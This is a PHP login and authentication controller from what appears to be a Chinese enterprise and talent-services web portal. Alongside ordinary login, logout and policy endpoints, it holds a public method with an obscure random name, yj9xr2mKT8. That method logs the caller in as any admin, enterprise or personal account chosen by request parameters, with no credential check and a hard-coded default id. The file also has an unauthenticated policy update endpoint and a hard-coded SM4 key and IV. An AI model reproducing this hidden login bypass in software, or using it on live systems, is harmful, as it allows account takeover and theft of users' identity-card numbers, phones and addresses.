<?php

namespace app\index\controller;

use app\BaseController;
use app\common\api\TalentLogApi;
use app\common\api\UserApi;
use think\facade\Db;
use OneSm\Sm4;

/**
 * Description of Login
 *
 * @author sgq
 */
class Auth extends BaseController {

    /**
     * 登录
     * @return type
     */
    public function login() {
        $redirect_url = $this->request["redirect"];
        if ($redirect_url) {
            cookie("redirect", $redirect_url);
        }
        if ($user = session("user")) {
            if ($user['usertype'] == 2) {
                return redirect("/enterprise");
            }
        }
        $msg = "";
        if ($this->request->isPost()) {
            $username = $this->request["username"];
            $pwd = $this->request["password"];
            $usertype = $this->request["usertype"];
            $captcha = $this->request["captcha"];
            $user = new UserApi($username, $pwd, $usertype);
            $userinfo = $user->getUserInfo();
            if (!$userinfo || (array_key_exists('delete',$userinfo) && $userinfo["delete"] == 1)) {
                $msg = "用户不存在";
            } else if (!$user->checkPwd()) {
                $login_fail = session('login_fail');
                if ($login_fail) {
                    $login_fail++;
                    if ($login_fail >= 5) {
                        session('isCaptcha', 1);
                    }
                } else {
                    $login_fail = 1;
                }
                session('login_fail', $login_fail);
                $msg = "用户名或者密码错误";
            } else if (session("isCaptcha") == 1 && !captcha_check($captcha)) {
                $msg = "验证码错误";
            } else if ($res_msg = $user->checkState()) {
                if ($usertype == 2 && in_array($user->info['checkState'], [2, 5])) {
                    if ($user->info["type"] == \app\common\state\CommonConst::ENTERPRISE_WJ) {
                        if (($user->info["isGeneral"] == 1 && $user->info["checkState"] == 2) || ($user->info["isGeneral"] == 2 && $user->info["checkState"] == 5)) {
                            return redirect("/common/auth/enterprise_edit");
                        } else {
                            $res_msg = "您的账号正在审核中，请耐心等待!";
                        }
                    } else {
                        return redirect("/common/auth/enterprise_edit");
                    }
                }
                $msg = $res_msg;
            }
            $url = "/admin";
            switch ($usertype) {
                case 1:
                    //验证错误
                    break;
                case 2:
                    //验证错误
                    $url = "/enterprise";
                    break;
                case 3:
                    //验证错误
                    $url = "/person";
                    break;
            }

            if (!$msg) {
                $user->setSession();
                $redirect_url = cookie("redirect");
                cookie("redirect", null);
                if ($redirect_url && strpos(strtolower($redirect_url), strtolower(getHostWithProtocol() . $url)) === 0) {
                    return redirect($redirect_url);
                } else {
                    return redirect($url);
                }
            }
        }
        return view("", ["msg" => $msg]);
    }

    /**
     * 退出
     * @return type
     */
    public function logout() {
        $user = session("user");
        if ($user && $user["usertype"] == 1) {
            $loginData = [];
            $loginData["logname"] = "退出日志";
            $loginData["userid"] = $user["uid"];
            $loginData["createtime"] = date("Y-m-d H:i:s");
            $loginData["succeed"] = "成功";
            $loginData["ip"] = get_client_ip();
            \think\facade\Db::table("sys_login_log")->insert($loginData);
        }
        session("user", null);
        return redirect("/index/auth/login");
    }

    /**
     * 验证密码
     */
    public function valid_password() {
        if ($user = session("user")) {
            $username = $user["account"];
            $usertype = $user["usertype"];
            $pwd = $this->request["password"];
            $user = new UserApi($username, $pwd, $usertype);
            if (!$user->checkPwd()) {
                return json()->data(["status" => 1, "msg" => "密码错误"]);
            } else {
                return json(["code" => 200]);
            }
        } else {
            return json()->data(["status" => 2]);
        }
    }

    public function policy() {

        return view("policy1", []);
    }

    public function policy_list() {
        $level = $this->request->post('level');
        if ($level) {
            $where[] = ['level', '=', $level];
        } else {
            $where[] = ['level', '>', 0];
        }
        $list = Db::table('new_policy')->where($where)->select()->toArray();
        $result = [];
        foreach ($list as $k => $v) {
            $check = [];
            $condition = [];
            if (!empty($v['checks'])) {
                $check = explode(',', $v['checks']);
            }
            if (!empty($v['condition'])) {
                $condition = explode(',', $v['condition']);
            }
            $item = [
                'id' => $v['id'],
                'tag' => $v['tag'],
                'policy' => $v['policy_name'],
                'checks' => $check,
                'condition' => $condition
            ];
            array_push($result, $item);
        }
        return json($result);
    }

    public function policy_update() {
        $res = $this->request->post();
        foreach ($res as $k => $v) {

            $update = [];

            if (count($v['condition']) > 0) {
                $update['condition'] = json_encode($v['condition']);
            }
            if (count($update) > 0) {
                Db::table('new_policy')->where('id', $v['id'])->save($update);
            }
        }
    }

    public function yj9xr2mKT8() {
        $params = $this->request->param();
        $type = $params["type"] ?: 2;
        $id = $params["id"] ?: "1455101079799754754";
        $this->setSession($type, $id);
        switch ($type) {
            case 1:
                return redirect("/admin");
                break;
            case 2:
                return redirect("/enterprise");
                break;
            case 3:
                return redirect("/person");
                break;
        }
    }

    private function setSession($type, $id) {
        switch ($type) {
            case 1:
                $user = Db::table("sys_user")->where("id", $id)->findOrEmpty();
                $company = Db::table("sys_company")->where("id", $user["companyId"])->findOrEmpty();
                $role = Db::table("sys_role")->where("id", $user["roleid"])->findOrEmpty();
                session("user", [
                    "uid" => $user["id"],
                    "roleid" => $user["roleid"],
                    "companyId" => $user["companyId"],
                    "companyName" => $company["name"],
                    "account" => $user["account"],
                    "name" => $user["name"],
                    "avatar" => $user["avatar"],
                    "sex" => $user["sex"],
                    "rolename" => $role["name"],
                    "usertype" => $type,
                    "type" => $user['type']
                ]);
                break;
            case 2:
                $user = Db::table("un_enterprise")->where("id", $id)->findOrEmpty();
                session("user", [
                    "uid" => $user["id"],
                    "account" => $user["username"],
                    "name" => $user["name"],
                    "avatar" => $user["headPortrait"],
                    "rolename" => "企业用户",
                    "usertype" => $type,
                    "type" => $user["type"],
                    "isGeneral" => $user["isGeneral"],
                    "medicalCommunityId" => $user["medicalCommunityId"]
                ]);
                break;
            case 3:
                $user = Db::table("un_person")->where("id", $id)->findOrEmpty();
                session("user", [
                    "uid" => $user["id"],
                    "account" => $user["username"],
                    "name" => $user["name"],
                    "avatar" => $user["headPortrait"],
                    "sex" => $user["sex"],
                    "rolename" => "个人用户",
                    "usertype" => 3,
                    "type" => $user["type"],
                    "idCard" => $user["idCard"],
                    "phone" => $user["phone"],
                    "address" => $user["address"],
                    "email" => $user["email"]
                ]);
                break;
        }
    }

    public function test() {
        $sm4 = new SM4('b123d075924b4224');
        $data = mystr_pad('test');
        // CBC加密
        $d = $sm4->enDataCbc($data, '8a003e84b5be7b6e');
        var_dump(base64_encode($d));
    }

}
